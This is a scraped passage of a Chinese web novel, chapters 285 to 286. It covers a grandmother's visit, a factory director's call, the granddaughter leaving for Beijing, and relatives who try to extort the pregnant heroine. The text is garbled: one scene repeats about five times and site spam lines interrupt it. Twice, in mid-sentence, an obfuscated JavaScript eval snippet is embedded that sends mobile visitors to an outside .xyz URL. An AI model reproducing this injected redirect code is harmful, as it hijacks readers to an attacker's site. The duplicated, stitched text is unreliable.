小桃子,大名陆幼薇,就是陆家名正言顺、金尊玉贵的宝贝! 王大妈更是称病在家,好几天没敢露面。 小桃子在奶奶强大而温暖的爱护下更加开朗,更加依恋奶奶。 小小的她能感觉到,有奶奶在,她就是安全的,是被深爱的。 晚饭后,一家人围坐在昏黄的电灯下。 小桃子趴在何婉仪的膝盖上,看着奶奶灵巧的手指翻飞,黄色的毛线渐渐变成一小片柔软的织物。 小桃子看了一会儿,忽然抬起头,大眼睛亮晶晶地看着何婉仪。 “奶奶,等小宝宝出来,你带我和小宝宝去北京玩好不好?去看**,看升国旗!爸爸说那里好大好大!” 何婉仪的心瞬间被孙女的期待填满,忍不住亲了小家伙一口。 第二天下午,**厂长竟然亲自登门了。 这位机械厂的一把手,穿着洗得发白的中山装,提着一网兜难得的国光苹果,笑容满面。 “这位就是何大姐吧?我是机械厂的厂长毛大力!听说您来了,今天是特意来看您的。”**厂长嗓门洪亮,透着亲热。 何婉仪并不认识**厂长,听了他的自我介绍,还有点意外。 自家儿子是纺织厂的厂长,和这位机械厂的虽然是同级,可打交道的地方应该不多吧? 虽然不懂这位为什么如此客气,但何婉仪还是很圆滑地笑着招呼人:“**厂长太客气了!我就是来看看儿子儿媳和小孙女,还劳烦您来一趟。快 请进快请进!天气冷,到屋里坐坐。” **厂长进了屋,把苹果放在桌上:“应该的应该的!海棠同志可是我们机械厂的宝贝疙瘩,技术骨干!她的家人来了,我可得代表厂里来看看才行。……何同志,您是不知道,她这一年多,给我们机械厂解决了多少大问题……” **厂长噼里啪啦的就是一顿说,说得何婉仪惊讶不已。 姜海棠不是纺织厂的工程师吗? 怎么还和机械厂有关系了? 她将征询的目光看向姜海糖果。 “妈,我有两份工作,一份是咱们纺织厂,另外一份是机械厂……”姜海棠有些不好意思的说道,越说声音越小。 “何同志啊,海棠同志这样优秀,和你们家的支持有很大关系啊。” 何婉仪连忙摆手,态度谦和但立场鲜明:“**厂长,您这话可折煞我了。我其实也没做什么,是我们家海棠自己努力,也是你们当领导的器重。” “有了您这样的领导,才能有妇女同志们巾帼不让须眉的机会,我是搞妇女工作的,一贯支持妇女参与国家建设。” “不过,我没有歧视家庭妇女的意思,‘妇女能顶半边天’,主席的教导我们时刻不能忘!在家相夫教子是为国家培养下一代,在厂里努力工作是为社会主义建设添砖加瓦,都光荣!” 这番话,既肯定了厂里的工作,也含蓄地表达了对儿媳事业的支持,更契合了时代精神,说得**厂长连连点头。 “您说得太对了!果然是京城来的领导,思想觉悟高!有您这样的长辈支持,海棠同志一定能做出更大的贡献!” 送走了心满意足的**厂长,何婉仪把苹果洗了,挑了个最大最红的递给眼巴巴看着的小桃子:“来,奖励我们最懂事的小桃子!” 小桃子开心地接过,却第一时间跑到姜海棠面前,踮着脚把苹果举得高高的:“妈妈,你吃!给小宝宝吃!奶奶说,多吃苹果,小宝宝皮肤好,长得白!” 姜海棠看着女儿殷切的眼神,心头暖流涌动。 她轻轻咬了一小口,那甜味仿佛一直沁入心脾:“真甜!谢谢小桃子!小宝宝也谢谢姐姐!” 小桃子这才心满意足地抱着大苹果,坐在小凳子上,像只小松鼠一样,小口小口地啃起来,小脸上洋溢着纯粹的快乐和成就感。 请进快请进!天气冷,到屋里坐坐。” **厂长进了屋,把苹果放在桌上:“应该的应该的!海棠同志可是我们机械厂的宝贝疙瘩,技术骨干!她的家人来了,我可得代表厂里来看看才行。……何同志,您是不知道,她这一年多,给我们机械厂解决了多少大问题……” **厂长噼里啪啦的就是一顿说,说得何婉仪惊讶不已。 姜海棠不是纺织厂的工程师吗? 怎么还和机械厂有关系了? 她将征询的目光看向姜海糖果。 “妈,我有两份工作,一份是咱们纺织厂,另外一份是机械厂……”姜海棠有些不好意思的说道,越说声音越小。 “何同志啊,海棠同志这样优秀,和你们家的支持有很大关系啊。” 何婉仪连忙摆手,态度谦和但立场鲜明:“**厂长,您这话可折煞我了。我其实也没做什么,是我们家海棠自己努力,也是你们当领导的器重。” “有了您这样的领导,才能有妇女同志们巾帼不让须眉的机会,我是搞妇女工作的,一贯支持妇女参与国家建设。” “不过,我没有歧视家庭妇女的意思,‘妇女能顶半边天’,主席的教导我们时刻不能忘!在家相夫教子是为国家培养下一代,在厂里努力工作是为社会主义建设添砖加瓦,都光荣!” 这番话,既肯定了厂里的工作,也含蓄地表达了对儿媳事业的支持,更契合了时代精神,说得**厂长连连点头。 “您说得太对了!果然是京城来的领导,思想觉悟高!有您这样的长辈支持,海棠同志一定能做出更大的贡献!” 送走了心满意足的**厂长,何婉仪把苹果洗了,挑了个最大最红的递给眼巴巴看着的小桃子:“来,奖励我们最懂事的小桃子!” 小桃子开心地接过,却第一时间跑到姜海棠面前,踮着脚把苹果举得高高的:“妈妈,你吃!给小宝宝吃!奶奶说,多吃苹果,小宝宝皮肤好,长得白!” 姜海棠看着女儿殷切的眼神,心头暖流涌动。 她轻轻咬了一小口,那甜味仿佛一直沁入心脾:“真甜!谢谢小桃子!小宝宝也谢谢姐姐!” 小桃子这才心满意足地抱着大苹果,坐在小凳子上,像只小松鼠一样,小口小口地啃起来,小脸上洋溢着纯粹的快乐和成就感。 请进快请进!天气冷,到屋里坐坐。” **厂长进了屋,把苹果放在桌上:“应该的应该的!海棠同志可是我们机械厂的宝贝疙瘩,技术骨干!她的家人来了,我可得代表厂里来看看才行。……何同志,您是不知道,她这一年多,给我们机械厂解决了多少大问题……” **厂长噼里啪啦的就是一顿说,说得何婉仪惊讶不已。 姜海棠不是纺织厂的工程师吗? 怎么还和机械厂有关系了? 她将征询的目光看向姜海糖果。 “妈,我有两份工作,一份是咱们纺织厂,另外一份是机械厂……”姜海棠有些不好意思的说道,越说声音越小。 “何同志啊,海棠同志这样优秀,和你们家的支持有很大关系啊。” 何婉仪连忙摆手,态度谦和但立场鲜明:“**厂长,您这话可折煞我了。我其实也没做什么,是我们家海棠自己努力,也是你们当领导的器重。” “有了您这样的领导,才能有妇女同志们巾帼不让须眉的机会,我是搞妇女工作的,一贯支持妇女参与国家建设。” “不过,我没有歧视家庭妇女的意思,‘妇女能顶半边天’,主席的教导我们时刻不能忘!在家相夫教子是为国家培养下一代,在厂里努力工作是为社会主义建设添砖加瓦,都光荣!” 这番话,既肯定了厂里的工作,也含蓄地表达了对儿媳事业的支持,更契合了时代精神,说得**厂长连连点头。 “您说得太对了!果然是京城来的领导,思想觉悟高!有您这样的长辈支持,海棠同志一定能做出更大的贡献!” 送走了心满意足的**厂长,何婉仪把苹果洗了,挑了个最大最红的递给眼巴巴看着的小桃子:“来,奖励我们最懂事的小桃子!” 小桃子开心地接过,却第一时间跑到姜海棠面前,踮着脚把苹果举得高高的:“妈妈,你吃!给小宝宝吃!奶奶说,多吃苹果,小宝宝皮肤好,长得白!” 姜海棠看着女儿殷切的眼神,心头暖流涌动。 她轻轻咬了一小口,那甜味仿佛一直沁入心脾:“真甜!谢谢小桃子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140281|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !小宝宝也谢谢姐姐!” 小桃子这才心满意足地抱着大苹果,坐在小凳子上,像只小松鼠一样,小口小口地啃起来,小脸上洋溢着纯粹的快乐和成就感。 请进快请进!天气冷,到屋里坐坐。” **厂长进了屋,把苹果放在桌上:“应该的应该的!海棠同志可是我们机械厂的宝贝疙瘩,技术骨干!她的家人来了,我可得代表厂里来看看才行。……何同志,您是不知道,她这一年多,给我们机械厂解决了多少大问题……” **厂长噼里啪啦的就是一顿说,说得何婉仪惊讶不已。 姜海棠不是纺织厂的工程师吗? 怎么还和机械厂有关系了? 她将征询的目光看向姜海糖果。 “妈,我有两份工作,一份是咱们纺织厂,另外一份是机械厂……”姜海棠有些不好意思的说道,越说声音越小。 “何同志啊,海棠同志这样优秀,和你们家的支持有很大关系啊。” 何婉仪连忙摆手,态度谦和但立场鲜明:“**厂长,您这话可折煞我了。我其实也没做什么,是我们家海棠自己努力,也是你们当领导的器重。” “有了您这样的领导,才能有妇女同志们巾帼不让须眉的机会,我是搞妇女工作的,一贯支持妇女参与国家建设。” “不过,我没有歧视家庭妇女的意思,‘妇女能顶半边天’,主席的教导我们时刻不能忘!在家相夫教子是为国家培养下一代,在厂里努力工作是为社会主义建设添砖加瓦,都光荣!” 这番话,既肯定了厂里的工作,也含蓄地表达了对儿媳事业的支持,更契合了时代精神,说得**厂长连连点头。 “您说得太对了!果然是京城来的领导,思想觉悟高!有您这样的长辈支持,海棠同志一定能做出更大的贡献!” 送走了心满意足的**厂长,何婉仪把苹果洗了,挑了个最大最红的递给眼巴巴看着的小桃子:“来,奖励我们最懂事的小桃子!” 小桃子开心地接过,却第一时间跑到姜海棠面前,踮着脚把苹果举得高高的:“妈妈,你吃!给小宝宝吃!奶奶说,多吃苹果,小宝宝皮肤好,长得白!” 姜海棠看着女儿殷切的眼神,心头暖流涌动。 她轻轻咬了一小口,那甜味仿佛一直沁入心脾:“真甜!谢谢小桃子!小宝宝也谢谢姐姐!” 小桃子这才心满意足地抱着大苹果,坐在小凳子上,像只小松鼠一样,小口小口地啃起来,小脸上洋溢着纯粹的快乐和成就感。 请进快请进!天气冷,到屋里坐坐。” **厂长进了屋,把苹果放在桌上:“应该的应该的!海棠同志可是我们机械厂的宝贝疙瘩,技术骨干!她的家人来了,我可得代表厂里来看看才行。……何同志,您是不知道,她这一年多,给我们机械厂解决了多少大问题……” **厂长噼里啪啦的就是一顿说,说得何婉仪惊讶不已。 姜海棠不是纺织厂的工程师吗? 怎么还和机械厂有关系了? 她将征询的目光看向姜海糖果。 “妈,我有两份工作,一份是咱们纺织厂,另外一份是机械厂……”姜海棠有些不好意思的说道,越说声音越小。 “何同志啊,海棠同志这样优秀,和你们家的支持有很大关系啊。” 何婉仪连忙摆手,态度谦和但立场鲜明:“**厂长,您这话可折煞我了。我其实也没做什么,是我们家海棠自己努力,也是你们当领导的器重。” “有了您这样的领导,才能有妇女同志们巾帼不让须眉的机会,我是搞妇女工作的,一贯支持妇女参与国家建设。” “不过,我没有歧视家庭妇女的意思,‘妇女能顶半边天’,主席的教导我们时刻不能忘!在家相夫教子是为国家培养下一代,在厂里努力工作是为社会主义建设添砖加瓦,都光荣!” 这番话,既肯定了厂里的工作,也含蓄地表达了对儿媳事业的支持,更契合了时代精神,说得**厂长连连点头。 “您说得太对了!果然是京城来的领导,思想觉悟高!有您这样的长辈支持,海棠同志一定能做出更大的贡献!” 送走了心满意足的**厂长,何婉仪把苹果洗了,挑了个最大最红的递给眼巴巴看着的小桃子:“来,奖励我们最懂事的小桃子!” 小桃子开心地接过,却第一时间跑到姜海棠面前,踮着脚把苹果举得高高的:“妈妈,你吃!给小宝宝吃!奶奶说,多吃苹果,小宝宝皮肤好,长得白!” 姜海棠看着女儿殷切的眼神,心头暖流涌动。 她轻轻咬了一小口,那甜味仿佛一直沁入心脾:“真甜!谢谢小桃子!小宝宝也谢谢姐姐!” 小桃子这才心满意足地抱着大苹果,坐在小凳子上,像只小松鼠一样,小口小口地啃起来,小脸上洋溢着纯粹的快乐和成就感。 请进快请进!天气冷,到屋里坐坐。” **厂长进了屋,把苹果放在桌上:“应该的应该的!海棠同志可是我们机械厂的宝贝疙瘩,技术骨干!她的家人来了,我可得代表厂里来看看才行。……何同志,您是不知道,她这一年多,给我们机械厂解决了多少大问题……” **厂长噼里啪啦的就是一顿说,说得何婉仪惊讶不已。 姜海棠不是纺织厂的工程师吗? 怎么还和机械厂有关系了? 她将征询的目光看向姜海糖果。 “妈,我有两份工作,一份是咱们纺织厂,另外一份是机械厂……”姜海棠有些不好意思的说道,越说声音越小。 “何同志啊,海棠同志这样优秀,和你们家的支持有很大关系啊。” 何婉仪连忙摆手,态度谦和但立场鲜明:“**厂长,您这话可折煞我了。我其实也没做什么,是我们家海棠自己努力,也是你们当领导的器重。” “有了您这样的领导,才能有妇女同志们巾帼不让须眉的机会,我是搞妇女工作的,一贯支持妇女参与国家建设。” “不过,我没有歧视家庭妇女的意思,‘妇女能顶半边天’,主席的教导我们时刻不能忘!在家相夫教子是为国家培养下一代,在厂里努力工作是为社会主义建设添砖加瓦,都光荣!” 这番话,既肯定了厂里的工作,也含蓄地表达了对儿媳事业的支持,更契合了时代精神,说得**厂长连连点头。 “您说得太对了!果然是京城来的领导,思想觉悟高!有您这样的长辈支持,海棠同志一定能做出更大的贡献!” 送走了心满意足的**厂长,何婉仪把苹果洗了,挑了个最大最红的递给眼巴巴看着的小桃子:“来,奖励我们最懂事的小桃子!” 小桃子开心地接过,却第一时间跑到姜海棠面前,踮着脚把苹果举得高高的:“妈妈,你吃!给小宝宝吃!奶奶说,多吃苹果,小宝宝皮肤好,长得白!” 姜海棠看着女儿殷切的眼神,心头暖流涌动。 她轻轻咬了一小口,那甜味仿佛一直沁入心脾:“真甜!谢谢小桃子!小宝宝也谢谢姐姐!” 小桃子这才心满意足地抱着大苹果,坐在小凳子上,像只小松鼠一样,小口小口地啃起来,小脸上洋溢着纯粹的快乐和成就感。 第285章 送走小桃子 夜色渐深,纺织厂家属区陷入一片宁静。 劳累了一天的人们大多已进入梦乡,只有零星几盏灯火还在黑暗中亮着。 何婉仪给小桃子掖好被角,听着孙女均匀绵长的呼吸声,心里一片安宁。 她轻手轻脚地走出房间,准备去客厅倒杯水,却发现客厅的灯还亮着。 姜海棠正伏在饭桌上,就着昏黄的灯光,专注地看着摊开的图纸,手里拿着铅笔不时勾画几下,眉头微蹙。 “海棠?这么晚了还不休息?何婉仪轻声问,语气里带着心疼。 这个儿媳妇,真是样样出色,总是会带给他们惊喜。 姜海棠闻声抬头,揉了揉有些干涩的眼睛,露出一个略带疲惫的笑容。 “妈,您还没睡啊?我马上就好,下周有个技术讨论会,这个传动部件的设计还得再优化一下。 何婉仪没去倒水,而是拉过一张凳子,在姜海棠旁边坐下。 她看着桌上那些画满复杂线条和标注着各种数据的图纸,虽然看不懂,却能感受到那份专注和投入。 她拿起暖水瓶,给儿媳的搪瓷缸里续上热水。 “要注意身体,不能太熬了。何婉仪把水推过去,柔声说道。 “妈,您放心吧,我会照顾好自己,也会保护好肚子里的孩子。 何婉仪拍拍姜海棠的手说道:“我自然是放心的,你是什么样的孩子,我还能不知道吗? “我过几天就要回去了,虽然会把小桃子带走,但你工作压力这样大,我是真的不放心。 “妈,我要是觉得累,会找人来照顾自己。姜海棠微笑着。 婆婆的担心她是知道的,实际上,姜海棠也在考虑,要不要找人来帮忙照顾自己。 “你这边有没有可靠的人可以找?现在肯定不能找保姆,但是找个亲戚来住一段时间,谁都说不出个啥。 姜海棠没想到,婆婆连这个问题都已经帮自己想好了。 “妈,我想过了,以前村子里的蔡婶子人很不错,对我也很照顾,做饭还好吃,实在不行,我就请蔡婶子来帮忙照顾我一段时间。 何婉仪知道,儿媳妇是有成算的,因此点点头:“快去睡吧,图纸明天再看,身体要紧。 姜海棠顺从地点点头,收拾好图纸。 日子在忙碌与温情中飞快流逝。 何婉仪离京的日子越来越近了。 小院里,那份即将分别的淡淡离愁,被何婉仪用各种方式巧妙地化解着, 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 更多地转化为对京城生活的美好憧憬。 这天清晨,何婉仪正带着小桃子在院子里摘菜,忽然听到门外传来一阵清脆的自行车铃声。 “何大姐在家吗?”一个爽朗的女声响起。 何婉仪擦了擦手,小桃子已经像只欢快的小蝴蝶般飞奔向门口:“是张阿姨!” “奶奶,张阿姨您不认识,是我们厂里工会的阿姨哦!” “哎哟,我们小桃子记性真好!”张红英弯腰捏了捏小桃子的脸蛋,从自行车把手上取下布包,“这是陆厂长安排给您准备的车票和介绍信,还有这卷不了,这是咱们厂新出的,工会同志们商量之后,决定送给小桃子做新衣裳的。小桃子,你穿着新衣服去京城见太爷爷好不好啊?” 小桃子欢呼着接过布料贴在脸上蹭了蹭:“软乎乎的!我要给太爷爷看!上次他还说我长高了呢!” 何婉仪看着小桃子喜欢,说道:“可不能平白要厂里的东西,这些布料我买下来吧。” 张红英立即说:“何大姐,这些布料可不是给您的,是给烈士的后代的,咱们厂里,就这么一个烈士的后辈,工会决定,以后小桃子的衣服料子,我们管够。” 何婉仪没有想到,工会竟然会做出这样的决定。 “这样可不好……” 不等何婉仪的话说完,张红英又开口了。 “何大姐,您说的我们都明白,可大家也是想为小桃子做点什么,我们厂里是生产布料的,只能为孩子做这么点事儿。小桃子要是没到我们厂里也就算了,可小桃子现在在我们厂里,我们就得做点什么,总不能让英雄在地下还要为了孩子担忧吧?” 何婉仪想了想说:“劳烦您替我谢谢大家,你们这份心意,小桃子会记住的。” 送走张红英后,小桃子已经迫不及待地翻出自己的小包包。 “奶奶,我好像有高很多很多好东西要带呢,路上会不会很重啊?” “奶奶有力气,我们小桃子想带什么都可以。” 小桃子立即开始忙活起来。 看着孙女古灵精怪的样子,何婉仪忍俊不禁。 傍晚陆良辰下班时,手里拎着个网兜:“妈,您看!” 他掏出几个黄澄澄的橘子,“特意托人从南方捎来的,您路上带着。小桃子也爱吃这个吗?” 何婉仪哪里不知道,儿子这是舍不得闺女了。 她笑着说:“看你这没出息的样儿,想要早点回到京城,就抓紧把这边的事处理清楚,然后申请调动回去。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 陆良辰点头:“我计划过了,今年后半年,差不多能完成,到时候,我也就能放心的回到京城去了。” 迟疑了一下,陆良辰又说:“如果后半年情况还是和现在一样,我和海棠就继续在西北待上一年半载的再说。” 他其实也想早些回去,不是为了自己,而是为了海棠和姜爷爷。 毕竟,姜爷爷的身体不算很好,也不知道,这一次请了大夫回去,能不能有效果。 小桃子不知道大人们聊天的意思,她已经熟练地抱住陆良辰的大腿。 陆良辰顺手捞起小桃子抱在怀里。 “妈,这次您和戚大夫一起回去,让他给姜爷爷看看,希望能让姜爷爷的身体恢复健康。” “你放心吧,你姜爷爷那边,有我们照顾着,你照顾好海棠和她肚子里的孩子就行。” 离别的早晨,火车站台上格外热闹。小桃子穿着姜海棠连夜赶制的新衣服,胸前别着**爷爷送的**章,像只快乐的小云雀在父母之间穿梭。 “妈妈要记得每天喝牛奶!”她学着奶奶的语气叮嘱姜海棠,“小弟弟需要营养的!” 看着姜海棠点头之后,小家伙才放心了,又扑到陆良辰怀里,“爸爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144144|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答应我的,叶子黄了之前就来看我!” 陆良辰很是舍不得小闺女,可是,现在这种情况,将小桃子送到京城是最好的。 这不光是为了海棠这边减轻压力,也是为了小桃子。 在大院里长大的孩子,和西北长大的孩子,将来面临的许多问题都不一样。 尤其,小桃子还是收养的黑子,如果不是在京城长大,将来更是会被排斥。 他既然收养了小桃子,自然希望,将来小桃子一样能够和陆家亲生的孩子一样,享受陆家的资源。 “小桃子,到了京城,要听太爷爷和爷爷奶奶的话,知道吗?想念爸爸妈妈的时候,就给爸爸妈妈写信……” 汽笛声中,列车缓缓启动。 陆良辰和姜海棠追着列车挥手,直到那个挥舞的小手消失在视线尽头。 姜海棠靠在丈夫肩头轻声道:“这孩子,把咱们的心都带走了。” 列车上,小桃子已经调整好情绪,正兴致勃勃地和奶奶规划行程:“……要先给太爷爷看他要的松子糖,然后去找三哥看他的新邮票……” 何婉仪安抚了小孙女之后,看向和自己一同去京城的戚广宽。 这位戚大夫,看起来不过六十岁左右,其貌不扬,是真的看不出来竟然是杏林名 听说看这本书的人都是很幸运的,分享后你的运气会更棒 家。 “戚大夫,您如果累,就先休息一会儿,这一路上,要辛苦您嘞。” 戚广宽摇摇头,并没有多说话。 姜海棠和陆良辰回到家里之后,看到了小桃子早上换下来的衣服,上面沾染了不少橘子汁。 “这孩子,吃个橘子都能吃出花样来。”姜海棠嘴角含着笑,手指无意识地摩挲着那块污渍,又找了水盆打算给小桃子洗衣服。 才将衣服泡到水里,还没来得及搓洗,忽然听见院门外传来尖锐的叫骂声。 “姜海棠!你个没良心的白眼狼!发达了就忘了本是不是?” 这声音像一把生锈的锯子,瞬间割裂了小院子的宁静。 姜海棠并没有想起来这陌生的声音是谁。 接着,姜海棠就听到院子门被踹得哐当作响,夹杂着一道粗噶苍老的吼叫。 “开门!我们知道你在家!纺织厂厂长夫人就这德行?连亲叔婶都不认了?” 姜海棠深吸一口气,指尖不自觉地掐进掌心。 来人是谁,她知道了,可不就是当年收下养父母的钱和房子之后,将她换了十斤豆子的姜家二叔和二婶吗? 当年,只是十斤豆子,就将她送给李家当童养媳,在李家那些年的苦楚,都是这两口子造成的! 姜海棠想到以前,脸色变得很不好看。 “海棠姨姨?我这就去找陆叔叔,您可千万别出来。” 姜海棠正在思索间,就听到墙头上有人说话,可不就是孔顺安。 姜海棠庆幸,好在这时候,学校还没开学,要是开学了,还真连个报信的人都没有。 她缓步走到大门口,确定门栓拴得老老实实的,这才安心了一些。 好在刚才她打算休息一会儿,才将门给拴上了,要不,这两口子可不就直接进门了? 第286章 坏人送上门 要是没有怀孕,姜海棠绝对能对付这两个人,可现在,她是个孕妇,为了肚子里的孩子,姜海棠也绝对不会冒险开门。 姜海棠不搭理外面的人,可是院门外的叫骂越来越难听,已经引来不少邻居探头张望。 姜家二婶张翠花拍着大腿哭嚎:“大家评评理啊!我含辛茹苦养大的侄女,现在当官太太了就不认穷亲戚啊!可怜我们一家子人在乡下地方,吃了上顿没下顿,她在城里吃香喝辣,也不说帮衬一把家里人。” “老天爷,这不是造孽吗?怎么还不把这个丧天良的东西给收了啊!” 姜海棠凑近大门的门缝里看出去,她看见十年未见的婶婶穿着打补丁的蓝布衫,头发油腻腻地贴在头皮上,正坐在地上撒泼。 叔叔姜老栓蹲在旁边抽烟,浑浊的眼睛里闪着算计的光。 这是等着自己开门呢?不行,才不要开门。 姜海棠好整以暇地回到屋里,拿了一个小板凳过来坐在大门口不远处,开始说话。 “哟,我以为门口是谁在叫唤呢,这不是收了我爹娘二百块钱和一个院子,又不遵守诺言,把我十斤豆子卖给李家的好婶婶吗?” 姜海棠声音清亮,特意把“十斤豆子”咬得极重。 大门外面的两个人有一瞬间的哑火。 他们听说姜海棠到城里当了官太太,今天就是上门来找事儿的,想着要是能弄点钱回去最好。 他们原以为,姜海棠当了官太太,有些话肯定不敢说,省得被人看不起,却没想到,姜海棠竟然直接说出他们把她卖了十斤豆子这个话。 他们哪里知道,姜海棠的事,在纺织厂并不是秘密,可以说,姜海棠是李家的童养媳这事儿,厂里无人不知无人不晓。 围观群众顿时哗然,其实,前些年,卖孩子不稀奇,但当面被揭穿还是臊得慌。 张翠花一骨碌爬起来,捶着姜海棠家的大门就骂:“放**屁!那是给你找婆家!要不是我们给你找了好婆家,你现在能当官太太?当初,我们就是看着李家小子是个有出息的,才给你许了这么个好人家,谁想到你是个白眼狼。” “老天爷啊,这当了厂长夫人就能胡说八道了吗?可怜我这一片慈母心肠啊,怎么就能被曲成这样?我,我……我比窦娥还冤啊……” 周围的人更加愕然了,一脸震惊的看着张翠花,显然,众人都听出来,这两个人甚至连姜海棠嫁给了陆良辰都不知道,还以为姜海棠是在李家做童养媳呢。 “你可别放屁了,还比窦 娥还冤,窦娥蒙冤受屈,六月天下大雪,现在可还是冬天呢,你倒是让给下点儿雪我们看看!” 也不知道是谁,开口说了第一句话,瞬间,其他的大娘大妈们都开始冲着张翠花发作了。 “你这个不当人的,收了人家父母的钱,不光不养孩子,还把孩子给别人当了童养媳,你这心肠是黑的吧?” “肯定是黑的,就是喂狗狗都不吃。” “我呸,太不要脸了,就这样还敢找上门来?我要是海棠这闺女,拿刀劈了你们!” 张翠花没想到自己闹腾了半天,竟然没有人向着自己说话。 “你们,你们……我知道了,你们都害怕她男人是不是?这是当了官,不让我们这些老百姓活啊,我们要反抗,我们要去硌委会告他们……” “呸,你这个人贩子,才该被送到硌委会去改造!”孔大娘朝着张翠花啐了一口,骂道:“海棠,你现在有身子,不要出来,就在屋里好好待着,我们帮你收拾这两个人。” 要是只有自己一个人,孔大娘肯定没有这么大的胆子,但现在不一样,围观的人已经有十几个了,就这么多的人在,她肯定不能吃亏。 因着这个想法,孔大娘的声音十分洪亮。 姜海棠在屋里听到了,十分感动。 “孔大娘,谢谢您,这两个人,虽然是我的叔叔和婶婶,可真不是什么好人,您小心些,别吃亏了!” “我能吃亏?我们有这么多的老姐们在这里呢,一人一口唾沫都能淹死这两个不要脸的。” 孔大娘的话立即得到了周围其他人的声援。 不得不说,姜老栓真的是个有些脑子的人,眼瞅着这么多的人气势汹汹,他立即意识到,要吃亏了。 他立即换上苦相,冲着大门口高喊:“海棠啊,叔婶当年是糊涂了。现在你弟弟要娶媳妇,家里实在揭不开锅……不管怎么说,你们也是血脉相连的亲人不是?你虽然结婚了,可你也不能没有娘家,将来总要靠着你弟弟扶持不是?” 姜海棠听着姜老栓这话,还有什么不明白的,这摆明了就是要钱娶儿媳妇。 要钱就算了,还非得说的好像没有娘家她能死一样。 姜老栓说了好一会儿,没有听到姜海棠的声音,他搓着手指,眼睛却直往院门瞟,“海棠啊,你现在是厂长夫人了,随便指头缝里漏点就够我们……” “想要钱?”姜海棠突然笑了,“行啊,先把当年拿李家的十斤豆子折现还我。按现在黑市价,连本带利算你二十块钱。” 王翠花一听就炸了:“你做梦!” 二十块钱,怎么不去抢钱呢? “那就没什么好谈的了。”姜海棠原本就是逗弄两个人。 “海棠,要是给了你二十块钱,你能帮你弟弟在城里找个工作不?我们要求也不高,工作轻松,一个月给个七八十块钱就行了!” 姜老栓眼珠子转了一下,想着要是给二十块,能给自己儿子弄个工作也不错。 姜海棠差点儿被逗笑了,还真有人这么不要脸呢。 找个工作,清闲还要一个月七八十块钱,做梦来得更快一点呢。 姜海棠冷笑一声,声音陡然拔高:“你怕不是得了失心疯?也不看看你儿子是什么货色,就敢说出这种话。” “十六岁偷看寡妇洗澡,差点被人打断腿,十八岁在公社偷粮票游街,二十岁流氓被**三个月!这样的二流子也配进国营厂?你当国家单位是垃圾堆?不对,你那个儿子,连当垃圾都不配!” 这些消息,自然是姜海棠上辈子的时候听说的,具体记得不是很清楚,但不清楚也不要紧,他家的败家子干过这些事就行。 大门外面,顿时一片哗然。 原本就看不上姜老栓两口子的邻居们立刻朝姜老栓夫妇吐口水。 “果然是失心疯,这种人,要是来了我们厂还不把我们的风气都给带坏了?” 姜海棠越说越凌厉:“再说了,你算哪门子叔叔?我爹娘留下的二百块钱和青砖大瓦房被你们吞了,我饿得啃树皮时你们连口刷锅水都不给!我晚上只能睡在狗棚子里,这也就算了,还把我卖给别人当童养媳,现在腆着老脸来要钱?” “我姜海棠今天把话撂这儿,要钱没有,要命更轮不着你们!再敢来闹,我就把你们当年勾结李家买卖人口的事捅到革委会!听说现在严**贩子,正好送你们去吃枪子儿!” 这番话说得门外鸦雀无声。 张翠花腿一软瘫坐在地,姜老栓手里的烟袋锅“啪嗒”掉在结冰的地上,溅起几点火星。 但很快,姜老栓脸色变了变,突然往地上一躺:“没天理啊!亲侄女要抓叔婶进局子啊!” 周围的人只见过女人撒泼打滚的,却没想过,男人竟然也会撒泼打滚。 “外面的邻居们,劳烦你们让人去一趟保卫科,就说这里有人**,我回头必定感谢!” 张翠花慌了神,忽然高声喊道:“姜海棠,你娘可是留下遗物给你,你要是不管我们,我回去就把**遗物给烧了,我看看你到时候后 悔不!” 姜海棠没想到,张翠花关键时候,竟然还能有这样的脑子。 不过,关于遗物这件事,到底是真的还是假的? 如果是真的,这个遗物会不会和自己的身世有关系? 虽然她现在已经和亲爷爷相认了,但万一真的有遗物,要是能带回去给爷爷看看也是好的。 张翠花并没有注意到,不远处有人正好听到了她说的这句话。 陆良辰和赵凯一路赶过来,听到张翠花说有遗物的时候,都很惊讶。 陆良辰立即让赵凯安排人走一趟。 他觉得,这个女人说的遗物,可能与姜叔叔夫妻的牺牲有关系,说不定,就是关键的物证,可不能让人给毁了。 赵凯立即去安排。 “你们还是人吗?你们就不怕午夜梦回的时候,姜家的老祖宗不饶你们?”姜海棠冷静地说道。 “你不相信我会毁了遗物?姜海棠,要是我真的烧了,你后悔都来不及。”张翠花接着威胁姜海棠。 “你要是敢烧毁我爹娘的遗物,我一定不会轻易饶了你们。别的不说,买卖人口加上上门敲诈,就够你们一家子喝一壶了,你还是想好了再做决定。” 姜海棠不能出去,怕张翠花和姜老栓两个人对她动手,伤了肚子里的孩子,但言语上,姜海棠寸步不让。 悔不!” 姜海棠没想到,张翠花关键时候,竟然还能有这样的脑子。 不过,关于遗物这件事,到底是真的还是假的? 如果是真的,这个遗物会不会和自己的身世有关系? 虽然她现在已经和亲爷爷相认了,但万一真的有遗物,要是能带回去给爷爷看看也是好的。 张翠花并没有注意到,不远处有人正好听到了她说的这句话。 